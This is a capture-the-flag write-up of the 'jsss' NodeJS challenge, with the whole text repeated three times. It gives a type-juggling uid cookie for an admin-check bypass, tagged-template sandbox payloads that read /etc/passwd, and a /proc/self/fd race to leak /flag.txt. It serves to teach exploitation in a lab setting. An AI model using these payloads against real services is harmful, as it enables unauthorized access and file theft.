# jsss

#### Score: 953

> Disclamer: Unfortunetly I was only able to solve this challange 1 hour after
> the CTF was already over, So I didn't get any points for completing it.

> If you have any questions, I'll be glad to answer them. You can do so by
> opening an issue.

## Description  
huh, yet another [NodeJS](http://65.21.255.24:5002/) challenge...  
Download source code from
[here](https://github.com/omerAF/CTFs/raw/master/asiactf_finals_2021/jsss/jsss_79f57b25836a36ef09084064b72bb1607f3029d1.txz)

## Write UP

In this challange, the goal was to find a vulnerability in the API of an
unnamed shop, and to read the flag located in `/flag.txt`.  
The API supports loging in, registering, adding an order to your cart and
checking that order out.  

To keep track of the Identity of the user, the API uses the following cookies:  
- uid - The uid recieved on registration.  
- passwd - A hash of the password you registered with.  
- order - The current state of your order.

### What's an order?

The term "order" doesn't really makes sense in the context of this challenge.
The only thing that matters is that we have full control over the order, as
it's being sent by us as a cookie.

```javascript  
let order = req.cookies.order  
...  
req.userOrder = order  
```

### What happens when we are checking out?

You might have noticed the following line, at the end of the checkout
function:  
```javascript  
result = new String(vm.run(`sum([${req.userOrder}])`))  
````

It seems our order is being evaluated inside a sandbox. We might be able to
escape that sandbox, once we understand how to run in it.

### Reaching the sandbox  
To reach it we need to pass some `if` clauses.

First, we need to be logged in, and have an existing order as a cookie:  
```javascript  
if(req.userUid == -1 || !req.userOrder)  
	return res.json({ error: true, msg: "Login first" })  
```

Second, we need to be authenticatied as the user with `uid` 0, and our order
should not contain the char `(`:  
```javascript  
if(parseInt(req.userUid) != 0 || req.userOrder.includes("("))  
	return res.json({ error: true, msg: "You can't do this sorry" })  
```

In addition, there is also a rate limit:  
```javascript  
if(checkoutTimes.has(req.ip) && checkoutTimes.get(req.ip)+1 > now()){  
	return res.json({ error: true, msg: 'too fast'})  
```

Everything here seems reasonable, except for being logged in as the user with
`uid` 0.  
This account is the first one created, which happens to be the account of the
admin:  
```javascript  
users.add({ username: "admin", password: hashPasswd(rand()), uid: lastUid++ })  
```

### Bypass the admin validation

But don't fear! There is a way bypass the admin validation.  
Look at the authentication logic:  
```javascript  
req.userUid = -1  
req.userOrder = ""

let order = req.cookies.order  
let uid = req.cookies.uid  
let passwd = req.cookies.passwd

if(uid == undefined || passwd == undefined)  
	return next()

let found = false  
for(let e of users.entries())  
	if(e[0].uid == uid && e[0].password == passwd) // Our uid is being checked here  
		found = true

if(found){  
	req.userUid = uid  
	req.userOrder = order  
}

next()  
```

Compared to the validation inside `checkout`:  
```javascript  
if(parseInt(req.userUid) != 0 || req.userOrder.includes("("))  
	return res.json({ error: true, msg: "You can't do this sorry" })  
```

Noticed something interesting?

In the validation inside `checkout` there is an extra call to `parseInt`.  
The `uid` cookie is passed as a string to the backend. When comparing it
against a number, it's being juggled (=evaluated) as a `float`, but when
calling to `parseInt` the server is parsing it as an `int`

> So if we can find a valid float `uid` which evaluate as `0` when we call to
> `parseInt`, we can login using the password for our account, **AND** pass
> the validation in `checkout`!!!

To do so, we can use a **scientific notation**, or **e-notation**

### What's a scientific notation?

[Scientific notation](https://en.wikipedia.org/wiki/Scientific_notation) is a
way of expressing extremly large and small numbers.  
Using it, it's possible to express numbers like 5000000 as 5 * 10⁶, or as
`5e6`. Both expressions evaluate to the same number.

Let's say the `uid` we registered with is `9`. We can represent it as 0.9 *
10¹, or `0.9e1`.  
When our `uid` cookie is being checked in the authentication phase, it's being
evaluated as `9`, since `"0.9e1" == 0.9e1 == 9`  
```javascript  
if(e[0].uid == "0.9e1" && e[0].password == passwd) // "0.9e1" == 0.9e1 == 9  
```

But we also pass the validation in `checkout`, because `parseInt("0.9e1") ==
0`:  
```javascript  
if(parseInt(req.userUid) != 0 || req.userOrder.includes("(")) // We pass this
validation since parseInt("0.9e1") == 0  
```

So to bypass the admin validation, we need to send the following cookie
instead of the legitimate one: `uid=0.9e1`.  
Notice the malicious `uid` should change according to the legitimate `uid` of
the user you own.  
For example, if the `uid` was `12`, you should set the malicious cookie to
`uid=0.12e2`.  

### The sandbox

We are now able to execute code inside the sandbox! in case you already
forgot, it looks like this:  
```javascript  
result = new String(vm.run(`sum([${req.userOrder}])`))  
````  
And we have control over the `req.userOrder` variable.  
But we face a few limitations:  

1. The `req.userOrder` variable cannot contain the char `(`.  
2. There is a timeout of 20 milliseconds for the sandbox.  
3. The only non-default functions available to us are those:  
```javascript  
readFile: (path)=>{  
	path = new String(path).toString()  
	if(fs.statSync(path).size == 0)  
		return null  
	let r = fs.readFileSync(path)  
	if(!path.includes('flag'))  
		return r  
	return null  
},  
sum: (args)=>args.reduce((a,b)=>a+b),  
getFlag: _=>{  
	// return flag  
	return secretMessage  
}  
```

It would be perfect if we were able to call to `readFile` and get the flag,
but there is a check that doesn't allow us to get the content of any file
containing `flag` in its path.

### Calling a function

Because we can't use an opening parentheses `(`, we need to call functions by
using [tagged template literal](https://developer.mozilla.org/en-
US/docs/Web/JavaScript/Reference/Template_literals).  
Basically, it's possible to call functions like this:

```javascript  
console.log`1`  
getFlag``  
readFile`/etc/passwd`  
```

So we can set our `order` cookie to ``` order=getFlag`` ```:

```javascript  
// cookie: order=getFlag``  
result = new String(vm.run(`sum([${req.userOrder}])`))  
result = new String(vm.run(`sum([getFlag``])`))  
```

And it prints out the `secretMessage`, which is [`padoru
padoru`](https://www.youtube.com/watch?v=fvO2NFDIEgk).  
But we aren't interested in Anime, so we need to find a way to get the flag.  

### Getting the flag from the sandbox

Notice we can read every file the `app` user has permissions to read, as long
as it doesn't contain `flag` in its path.  
For example, we can read `/etc/passwd`

```javascript  
// cookie: order=readFile`/etc/passwd`  
result = new String(vm.run(`sum([${req.userOrder}])`))  
result = new String(vm.run('sum([readFile`/etc/passwd`])'))  
```

Is there a way to reference the `/flag.txt` file without explicitly using its
name?

Yes there is! To understand how, you first need to be familiar with these two
concepts: [The /proc
Filesystem](https://www.kernel.org/doc/html/latest/filesystems/proc.html#process-
specific-subdirectories) and [File
Descriptors](https://en.wikipedia.org/wiki/File_descriptor)

Basically, the `/proc` filesystem is a directory containing information about
running processes (and some other stuff, not relevant for now).  
File descriptors are unique integer IDs, specific for each process, each
points to a different open file in the kernel (and some other stuff, not
relevant for now).  
A file descriptor is created when a file is opened, **AND DELETED WHEN THE
FILE IS EXPLICITLY CLOSED**. This would be important later.  

Inside the `/proc` filesystem there is a folder for each PID, in which you can
find another folder named `fd`, that contains all the file descriptors that
exist at the moment for the process.

Try it for yourselves, open a linux machine and execute:  
```bash  
ls -al /proc/1/fd  
```  
You can now see all the file descriptors that exist for the process with the
PID 1.  
Notice that in the `/proc` filesystem the file descriptors are represented as
links to the original files.  
So reading `/proc/1/fd/3` will actually read the file that the file descriptor
3 in the process with the PID 1 is associated with.  

> That means, that if a process on the machine is accessing `/flag.txt` at the
> moment, it has a file descriptor pointing to it. We can then read the flag
> from the path: `/proc/{PID}/fd/{FD}`

### What process is reading `/flag.txt`?

Notice in `readFile`:  
```javascript  
readFile: (path)=>{  
	path = new String(path).toString()  
	if(fs.statSync(path).size == 0)  
		return null  
	let r = fs.readFileSync(path)  
	if(!path.includes('flag'))  
		return r  
	return null  
}  
```

The path we give to the `readFile` function is read from anyway, **even if the
path contains `flag`**. That means, that even if we can't read the contents of
`/flag.txt` directly, we can still invoke the creation of a file descriptor by
running `readFile('/flag.txt')`.  
We won't be able to get the output, but it would create a file descriptor
pointing to `/flag.txt`, in the `nodejs` process.  

### The final solution ;)  
So the plan is:  
1. Start a thread that constently tries to read the flag. It won't succeed, but it will be creating those precious file descriptors in `/proc/self/fd`.  
2. Imediatly start another thread, that tries to read all the files in `/proc/self/fd`.  
3. Continue doing step 1 and 2 until it works.

The `order` cookie in the file descriptor creation thread:  
```javascript  
a = _=> { return readFile`/flag.txt` + readFile`/flag.txt` +
readFile`/flag.txt` + readFile`/flag.txt` + readFile`/flag.txt` +
readFile`/flag.txt` + a`` }, a``  
````  
It creates a function named `a`, which uses recursion to keep trying to read
`/flag.txt`

The `order` cookie in the file descriptor reader thread:  
```javascript  
readFile`/proc/self/fd/0`, readFile`/proc/self/fd/1`,
readFile`/proc/self/fd/2`, readFile`/proc/self/fd/3`,
readFile`/proc/self/fd/4`, readFile`/proc/self/fd/5`,
readFile`/proc/self/fd/6`, readFile`/proc/self/fd/7`,
readFile`/proc/self/fd/8`, readFile`/proc/self/fd/9`,
readFile`/proc/self/fd/10`, readFile`/proc/self/fd/11`,
readFile`/proc/self/fd/12`, readFile`/proc/self/fd/13`,
readFile`/proc/self/fd/14`, readFile`/proc/self/fd/15`,
readFile`/proc/self/fd/16`, readFile`/proc/self/fd/17`,
readFile`/proc/self/fd/18`, readFile`/proc/self/fd/19`,
readFile`/proc/self/fd/20`, readFile`/proc/self/fd/21`,
readFile`/proc/self/fd/22`, readFile`/proc/self/fd/23`,
readFile`/proc/self/fd/24`, readFile`/proc/self/fd/25`,
readFile`/proc/self/fd/26`, readFile`/proc/self/fd/27`,
readFile`/proc/self/fd/28`  
```  
And yes, there is probably a better way to implement the file descriptor
reader using loops, but it works.

Because the threads start immediatly, there's sometimes a race condition in
the rate limmiter validation, that allows us to pass it and run two instances
of `checkout` at the same time.  
Either that, or something about my implementation sometimes causes the file
descriptor to never close, which works as well.  

Original writeup
(https://github.com/omerAF/CTFs/tree/master/asisctf_finals_2021/jsss).# jsss

#### Score: 953

> Disclamer: Unfortunetly I was only able to solve this challange 1 hour after
> the CTF was already over, So I didn't get any points for completing it.

> If you have any questions, I'll be glad to answer them. You can do so by
> opening an issue.

## Description  
huh, yet another [NodeJS](http://65.21.255.24:5002/) challenge...  
Download source code from
[here](https://github.com/omerAF/CTFs/raw/master/asiactf_finals_2021/jsss/jsss_79f57b25836a36ef09084064b72bb1607f3029d1.txz)

## Write UP

In this challange, the goal was to find a vulnerability in the API of an
unnamed shop, and to read the flag located in `/flag.txt`.  
The API supports loging in, registering, adding an order to your cart and
checking that order out.

To keep track of the Identity of the user, the API uses the following cookies:  
\- uid - The uid recieved on registration.  
\- passwd - A hash of the password you registered with.  
\- order - The current state of your order.

### What's an order?

The term "order" doesn't really makes sense in the context of this challenge.
The only thing that matters is that we have full control over the order, as
it's being sent by us as a cookie.

```javascript  
let order = req.cookies.order  
...  
req.userOrder = order  
```

### What happens when we are checking out?

You might have noticed the following line, at the end of the checkout
function:  
```javascript  
result = new String(vm.run(`sum([${req.userOrder}])`))  
````

It seems our order is being evaluated inside a sandbox. We might be able to
escape that sandbox, once we understand how to run in it.

### Reaching the sandbox  
To reach it we need to pass some `if` clauses.

First, we need to be logged in, and have an existing order as a cookie:  
```javascript  
if(req.userUid == -1 || !req.userOrder)  
return res.json({ error: true, msg: "Login first" })  
```

Second, we need to be authenticatied as the user with `uid` 0, and our order
should not contain the char `(`:  
```javascript  
if(parseInt(req.userUid) != 0 || req.userOrder.includes("("))  
return res.json({ error: true, msg: "You can't do this sorry" })  
```

In addition, there is also a rate limit:  
```javascript  
if(checkoutTimes.has(req.ip) && checkoutTimes.get(req.ip)+1 > now()){  
return res.json({ error: true, msg: 'too fast'})  
```

Everything here seems reasonable, except for being logged in as the user with
`uid` 0.  
This account is the first one created, which happens to be the account of the
admin:  
```javascript  
users.add({ username: "admin", password: hashPasswd(rand()), uid: lastUid++ })  
```

### Bypass the admin validation

But don't fear! There is a way bypass the admin validation.  
Look at the authentication logic:  
```javascript  
req.userUid = -1  
req.userOrder = ""

let order = req.cookies.order  
let uid = req.cookies.uid  
let passwd = req.cookies.passwd

if(uid == undefined || passwd == undefined)  
return next()

let found = false  
for(let e of users.entries())  
if(e[0].uid == uid && e[0].password == passwd) // Our uid is being checked
here  
found = true

if(found){  
req.userUid = uid  
req.userOrder = order  
}

next()  
```

Compared to the validation inside `checkout`:  
```javascript  
if(parseInt(req.userUid) != 0 || req.userOrder.includes("("))  
return res.json({ error: true, msg: "You can't do this sorry" })  
```

Noticed something interesting?

In the validation inside `checkout` there is an extra call to `parseInt`.  
The `uid` cookie is passed as a string to the backend. When comparing it
against a number, it's being juggled (=evaluated) as a `float`, but when
calling to `parseInt` the server is parsing it as an `int`

> So if we can find a valid float `uid` which evaluate as `0` when we call to
> `parseInt`, we can login using the password for our account, **AND** pass
> the validation in `checkout`!!!

To do so, we can use a **scientific notation**, or **e-notation**

### What's a scientific notation?

[Scientific notation](https://en.wikipedia.org/wiki/Scientific_notation) is a
way of expressing extremly large and small numbers.  
Using it, it's possible to express numbers like 5000000 as 5 * 10⁶, or as
`5e6`. Both expressions evaluate to the same number.

Let's say the `uid` we registered with is `9`. We can represent it as 0.9 *
10¹, or `0.9e1`.  
When our `uid` cookie is being checked in the authentication phase, it's being
evaluated as `9`, since `"0.9e1" == 0.9e1 == 9`  
```javascript  
if(e[0].uid == "0.9e1" && e[0].password == passwd) // "0.9e1" == 0.9e1 == 9  
```

But we also pass the validation in `checkout`, because `parseInt("0.9e1") ==
0`:  
```javascript  
if(parseInt(req.userUid) != 0 || req.userOrder.includes("(")) // We pass this
validation since parseInt("0.9e1") == 0  
```

So to bypass the admin validation, we need to send the following cookie
instead of the legitimate one: `uid=0.9e1`.  
Notice the malicious `uid` should change according to the legitimate `uid` of
the user you own.  
For example, if the `uid` was `12`, you should set the malicious cookie to
`uid=0.12e2`.

### The sandbox

We are now able to execute code inside the sandbox! in case you already
forgot, it looks like this:  
```javascript  
result = new String(vm.run(`sum([${req.userOrder}])`))  
````  
And we have control over the `req.userOrder` variable.  
But we face a few limitations:

1\. The `req.userOrder` variable cannot contain the char `(`.  
2\. There is a timeout of 20 milliseconds for the sandbox.  
3\. The only non-default functions available to us are those:  
```javascript  
readFile: (path)=>{  
path = new String(path).toString()  
if(fs.statSync(path).size == 0)  
return null  
let r = fs.readFileSync(path)  
if(!path.includes('flag'))  
return r  
return null  
},  
sum: (args)=>args.reduce((a,b)=>a+b),  
getFlag: _=>{  
// return flag  
return secretMessage  
}  
```

It would be perfect if we were able to call to `readFile` and get the flag,
but there is a check that doesn't allow us to get the content of any file
containing `flag` in its path.

### Calling a function

Because we can't use an opening parentheses `(`, we need to call functions by
using [tagged template literal](https://developer.mozilla.org/en-
US/docs/Web/JavaScript/Reference/Template_literals).  
Basically, it's possible to call functions like this:

```javascript  
console.log`1`  
getFlag``  
readFile`/etc/passwd`  
```

So we can set our `order` cookie to ``` order=getFlag`` ```:

```javascript  
// cookie: order=getFlag``  
result = new String(vm.run(`sum([${req.userOrder}])`))  
result = new String(vm.run(`sum([getFlag``])`))  
```

And it prints out the `secretMessage`, which is [`padoru
padoru`](https://www.youtube.com/watch?v=fvO2NFDIEgk).  
But we aren't interested in Anime, so we need to find a way to get the flag.

### Getting the flag from the sandbox

Notice we can read every file the `app` user has permissions to read, as long
as it doesn't contain `flag` in its path.  
For example, we can read `/etc/passwd`

```javascript  
// cookie: order=readFile`/etc/passwd`  
result = new String(vm.run(`sum([${req.userOrder}])`))  
result = new String(vm.run('sum([readFile`/etc/passwd`])'))  
```

Is there a way to reference the `/flag.txt` file without explicitly using its
name?

Yes there is! To understand how, you first need to be familiar with these two
concepts: [The /proc
Filesystem](https://www.kernel.org/doc/html/latest/filesystems/proc.html#process-
specific-subdirectories) and [File
Descriptors](https://en.wikipedia.org/wiki/File_descriptor)

Basically, the `/proc` filesystem is a directory containing information about
running processes (and some other stuff, not relevant for now).  
File descriptors are unique integer IDs, specific for each process, each
points to a different open file in the kernel (and some other stuff, not
relevant for now).  
A file descriptor is created when a file is opened, **AND DELETED WHEN THE
FILE IS EXPLICITLY CLOSED**. This would be important later.

Inside the `/proc` filesystem there is a folder for each PID, in which you can
find another folder named `fd`, that contains all the file descriptors that
exist at the moment for the process.

Try it for yourselves, open a linux machine and execute:  
```bash  
ls -al /proc/1/fd  
```  
You can now see all the file descriptors that exist for the process with the
PID 1.  
Notice that in the `/proc` filesystem the file descriptors are represented as
links to the original files.  
So reading `/proc/1/fd/3` will actually read the file that the file descriptor
3 in the process with the PID 1 is associated with.

> That means, that if a process on the machine is accessing `/flag.txt` at the
> moment, it has a file descriptor pointing to it. We can then read the flag
> from the path: `/proc/{PID}/fd/{FD}`

### What process is reading `/flag.txt`?

Notice in `readFile`:  
```javascript  
readFile: (path)=>{  
path = new String(path).toString()  
if(fs.statSync(path).size == 0)  
return null  
let r = fs.readFileSync(path)  
if(!path.includes('flag'))  
return r  
return null  
}  
```

The path we give to the `readFile` function is read from anyway, **even if the
path contains `flag`**. That means, that even if we can't read the contents of
`/flag.txt` directly, we can still invoke the creation of a file descriptor by
running `readFile('/flag.txt')`.  
We won't be able to get the output, but it would create a file descriptor
pointing to `/flag.txt`, in the `nodejs` process.

### The final solution ;)  
So the plan is:  
1\. Start a thread that constently tries to read the flag. It won't succeed,
but it will be creating those precious file descriptors in `/proc/self/fd`.  
2\. Imediatly start another thread, that tries to read all the files in
`/proc/self/fd`.  
3\. Continue doing step 1 and 2 until it works.

The `order` cookie in the file descriptor creation thread:  
```javascript  
a = _=> { return readFile`/flag.txt` + readFile`/flag.txt` +
readFile`/flag.txt` + readFile`/flag.txt` + readFile`/flag.txt` +
readFile`/flag.txt` + a`` }, a``  
````  
It creates a function named `a`, which uses recursion to keep trying to read
`/flag.txt`

The `order` cookie in the file descriptor reader thread:  
```javascript  
readFile`/proc/self/fd/0`, readFile`/proc/self/fd/1`,
readFile`/proc/self/fd/2`, readFile`/proc/self/fd/3`,
readFile`/proc/self/fd/4`, readFile`/proc/self/fd/5`,
readFile`/proc/self/fd/6`, readFile`/proc/self/fd/7`,
readFile`/proc/self/fd/8`, readFile`/proc/self/fd/9`,
readFile`/proc/self/fd/10`, readFile`/proc/self/fd/11`,
readFile`/proc/self/fd/12`, readFile`/proc/self/fd/13`,
readFile`/proc/self/fd/14`, readFile`/proc/self/fd/15`,
readFile`/proc/self/fd/16`, readFile`/proc/self/fd/17`,
readFile`/proc/self/fd/18`, readFile`/proc/self/fd/19`,
readFile`/proc/self/fd/20`, readFile`/proc/self/fd/21`,
readFile`/proc/self/fd/22`, readFile`/proc/self/fd/23`,
readFile`/proc/self/fd/24`, readFile`/proc/self/fd/25`,
readFile`/proc/self/fd/26`, readFile`/proc/self/fd/27`,
readFile`/proc/self/fd/28`  
```  
And yes, there is probably a better way to implement the file descriptor
reader using loops, but it works.

Because the threads start immediatly, there's sometimes a race condition in
the rate limmiter validation, that allows us to pass it and run two instances
of `checkout` at the same time.  
Either that, or something about my implementation sometimes causes the file
descriptor to never close, which works as well.  

Original writeup
(https://github.com/omerAF/CTFs/tree/master/asisctf_finals_2021/jsss).# jsss

#### Score: 953

> Disclamer: Unfortunetly I was only able to solve this challange 1 hour after
> the CTF was already over, So I didn't get any points for completing it.

> If you have any questions, I'll be glad to answer them. You can do so by
> opening an issue.

## Description  
huh, yet another [NodeJS](http://65.21.255.24:5002/) challenge...  
Download source code from
[here](https://github.com/omerAF/CTFs/raw/master/asiactf_finals_2021/jsss/jsss_79f57b25836a36ef09084064b72bb1607f3029d1.txz)

## Write UP

In this challange, the goal was to find a vulnerability in the API of an
unnamed shop, and to read the flag located in `/flag.txt`.  
The API supports loging in, registering, adding an order to your cart and
checking that order out.

To keep track of the Identity of the user, the API uses the following cookies:  
\- uid - The uid recieved on registration.  
\- passwd - A hash of the password you registered with.  
\- order - The current state of your order.

### What's an order?

The term "order" doesn't really makes sense in the context of this challenge.
The only thing that matters is that we have full control over the order, as
it's being sent by us as a cookie.

```javascript  
let order = req.cookies.order  
...  
req.userOrder = order  
```

### What happens when we are checking out?

You might have noticed the following line, at the end of the checkout
function:  
```javascript  
result = new String(vm.run(`sum([${req.userOrder}])`))  
````

It seems our order is being evaluated inside a sandbox. We might be able to
escape that sandbox, once we understand how to run in it.

### Reaching the sandbox  
To reach it we need to pass some `if` clauses.

First, we need to be logged in, and have an existing order as a cookie:  
```javascript  
if(req.userUid == -1 || !req.userOrder)  
return res.json({ error: true, msg: "Login first" })  
```

Second, we need to be authenticatied as the user with `uid` 0, and our order
should not contain the char `(`:  
```javascript  
if(parseInt(req.userUid) != 0 || req.userOrder.includes("("))  
return res.json({ error: true, msg: "You can't do this sorry" })  
```

In addition, there is also a rate limit:  
```javascript  
if(checkoutTimes.has(req.ip) && checkoutTimes.get(req.ip)+1 > now()){  
return res.json({ error: true, msg: 'too fast'})  
```

Everything here seems reasonable, except for being logged in as the user with
`uid` 0.  
This account is the first one created, which happens to be the account of the
admin:  
```javascript  
users.add({ username: "admin", password: hashPasswd(rand()), uid: lastUid++ })  
```

### Bypass the admin validation

But don't fear! There is a way bypass the admin validation.  
Look at the authentication logic:  
```javascript  
req.userUid = -1  
req.userOrder = ""

let order = req.cookies.order  
let uid = req.cookies.uid  
let passwd = req.cookies.passwd

if(uid == undefined || passwd == undefined)  
return next()

let found = false  
for(let e of users.entries())  
if(e[0].uid == uid && e[0].password == passwd) // Our uid is being checked
here  
found = true

if(found){  
req.userUid = uid  
req.userOrder = order  
}

next()  
```

Compared to the validation inside `checkout`:  
```javascript  
if(parseInt(req.userUid) != 0 || req.userOrder.includes("("))  
return res.json({ error: true, msg: "You can't do this sorry" })  
```

Noticed something interesting?

In the validation inside `checkout` there is an extra call to `parseInt`.  
The `uid` cookie is passed as a string to the backend. When comparing it
against a number, it's being juggled (=evaluated) as a `float`, but when
calling to `parseInt` the server is parsing it as an `int`

> So if we can find a valid float `uid` which evaluate as `0` when we call to
> `parseInt`, we can login using the password for our account, **AND** pass
> the validation in `checkout`!!!

To do so, we can use a **scientific notation**, or **e-notation**

### What's a scientific notation?

[Scientific notation](https://en.wikipedia.org/wiki/Scientific_notation) is a
way of expressing extremly large and small numbers.  
Using it, it's possible to express numbers like 5000000 as 5 * 10⁶, or as
`5e6`. Both expressions evaluate to the same number.

Let's say the `uid` we registered with is `9`. We can represent it as 0.9 *
10¹, or `0.9e1`.  
When our `uid` cookie is being checked in the authentication phase, it's being
evaluated as `9`, since `"0.9e1" == 0.9e1 == 9`  
```javascript  
if(e[0].uid == "0.9e1" && e[0].password == passwd) // "0.9e1" == 0.9e1 == 9  
```

But we also pass the validation in `checkout`, because `parseInt("0.9e1") ==
0`:  
```javascript  
if(parseInt(req.userUid) != 0 || req.userOrder.includes("(")) // We pass this
validation since parseInt("0.9e1") == 0  
```

So to bypass the admin validation, we need to send the following cookie
instead of the legitimate one: `uid=0.9e1`.  
Notice the malicious `uid` should change according to the legitimate `uid` of
the user you own.  
For example, if the `uid` was `12`, you should set the malicious cookie to
`uid=0.12e2`.

### The sandbox

We are now able to execute code inside the sandbox! in case you already
forgot, it looks like this:  
```javascript  
result = new String(vm.run(`sum([${req.userOrder}])`))  
````  
And we have control over the `req.userOrder` variable.  
But we face a few limitations:

1\. The `req.userOrder` variable cannot contain the char `(`.  
2\. There is a timeout of 20 milliseconds for the sandbox.  
3\. The only non-default functions available to us are those:  
```javascript  
readFile: (path)=>{  
path = new String(path).toString()  
if(fs.statSync(path).size == 0)  
return null  
let r = fs.readFileSync(path)  
if(!path.includes('flag'))  
return r  
return null  
},  
sum: (args)=>args.reduce((a,b)=>a+b),  
getFlag: _=>{  
// return flag  
return secretMessage  
}  
```

It would be perfect if we were able to call to `readFile` and get the flag,
but there is a check that doesn't allow us to get the content of any file
containing `flag` in its path.

### Calling a function

Because we can't use an opening parentheses `(`, we need to call functions by
using [tagged template literal](https://developer.mozilla.org/en-
US/docs/Web/JavaScript/Reference/Template_literals).  
Basically, it's possible to call functions like this:

```javascript  
console.log`1`  
getFlag``  
readFile`/etc/passwd`  
```

So we can set our `order` cookie to ``` order=getFlag`` ```:

```javascript  
// cookie: order=getFlag``  
result = new String(vm.run(`sum([${req.userOrder}])`))  
result = new String(vm.run(`sum([getFlag``])`))  
```

And it prints out the `secretMessage`, which is [`padoru
padoru`](https://www.youtube.com/watch?v=fvO2NFDIEgk).  
But we aren't interested in Anime, so we need to find a way to get the flag.

### Getting the flag from the sandbox

Notice we can read every file the `app` user has permissions to read, as long
as it doesn't contain `flag` in its path.  
For example, we can read `/etc/passwd`

```javascript  
// cookie: order=readFile`/etc/passwd`  
result = new String(vm.run(`sum([${req.userOrder}])`))  
result = new String(vm.run('sum([readFile`/etc/passwd`])'))  
```

Is there a way to reference the `/flag.txt` file without explicitly using its
name?

Yes there is! To understand how, you first need to be familiar with these two
concepts: [The /proc
Filesystem](https://www.kernel.org/doc/html/latest/filesystems/proc.html#process-
specific-subdirectories) and [File
Descriptors](https://en.wikipedia.org/wiki/File_descriptor)

Basically, the `/proc` filesystem is a directory containing information about
running processes (and some other stuff, not relevant for now).  
File descriptors are unique integer IDs, specific for each process, each
points to a different open file in the kernel (and some other stuff, not
relevant for now).  
A file descriptor is created when a file is opened, **AND DELETED WHEN THE
FILE IS EXPLICITLY CLOSED**. This would be important later.

Inside the `/proc` filesystem there is a folder for each PID, in which you can
find another folder named `fd`, that contains all the file descriptors that
exist at the moment for the process.

Try it for yourselves, open a linux machine and execute:  
```bash  
ls -al /proc/1/fd  
```  
You can now see all the file descriptors that exist for the process with the
PID 1.  
Notice that in the `/proc` filesystem the file descriptors are represented as
links to the original files.  
So reading `/proc/1/fd/3` will actually read the file that the file descriptor
3 in the process with the PID 1 is associated with.

> That means, that if a process on the machine is accessing `/flag.txt` at the
> moment, it has a file descriptor pointing to it. We can then read the flag
> from the path: `/proc/{PID}/fd/{FD}`

### What process is reading `/flag.txt`?

Notice in `readFile`:  
```javascript  
readFile: (path)=>{  
path = new String(path).toString()  
if(fs.statSync(path).size == 0)  
return null  
let r = fs.readFileSync(path)  
if(!path.includes('flag'))  
return r  
return null  
}  
```

The path we give to the `readFile` function is read from anyway, **even if the
path contains `flag`**. That means, that even if we can't read the contents of
`/flag.txt` directly, we can still invoke the creation of a file descriptor by
running `readFile('/flag.txt')`.  
We won't be able to get the output, but it would create a file descriptor
pointing to `/flag.txt`, in the `nodejs` process.

### The final solution ;)  
So the plan is:  
1\. Start a thread that constently tries to read the flag. It won't succeed,
but it will be creating those precious file descriptors in `/proc/self/fd`.  
2\. Imediatly start another thread, that tries to read all the files in
`/proc/self/fd`.  
3\. Continue doing step 1 and 2 until it works.

The `order` cookie in the file descriptor creation thread:  
```javascript  
a = _=> { return readFile`/flag.txt` + readFile`/flag.txt` +
readFile`/flag.txt` + readFile`/flag.txt` + readFile`/flag.txt` +
readFile`/flag.txt` + a`` }, a``  
````  
It creates a function named `a`, which uses recursion to keep trying to read
`/flag.txt`

The `order` cookie in the file descriptor reader thread:  
```javascript  
readFile`/proc/self/fd/0`, readFile`/proc/self/fd/1`,
readFile`/proc/self/fd/2`, readFile`/proc/self/fd/3`,
readFile`/proc/self/fd/4`, readFile`/proc/self/fd/5`,
readFile`/proc/self/fd/6`, readFile`/proc/self/fd/7`,
readFile`/proc/self/fd/8`, readFile`/proc/self/fd/9`,
readFile`/proc/self/fd/10`, readFile`/proc/self/fd/11`,
readFile`/proc/self/fd/12`, readFile`/proc/self/fd/13`,
readFile`/proc/self/fd/14`, readFile`/proc/self/fd/15`,
readFile`/proc/self/fd/16`, readFile`/proc/self/fd/17`,
readFile`/proc/self/fd/18`, readFile`/proc/self/fd/19`,
readFile`/proc/self/fd/20`, readFile`/proc/self/fd/21`,
readFile`/proc/self/fd/22`, readFile`/proc/self/fd/23`,
readFile`/proc/self/fd/24`, readFile`/proc/self/fd/25`,
readFile`/proc/self/fd/26`, readFile`/proc/self/fd/27`,
readFile`/proc/self/fd/28`  
```  
And yes, there is probably a better way to implement the file descriptor
reader using loops, but it works.

Because the threads start immediatly, there's sometimes a race condition in
the rate limmiter validation, that allows us to pass it and run two instances
of `checkout` at the same time.  
Either that, or something about my implementation sometimes causes the file
descriptor to never close, which works as well.  

Original writeup
(https://github.com/omerAF/CTFs/tree/master/asisctf_finals_2021/jsss).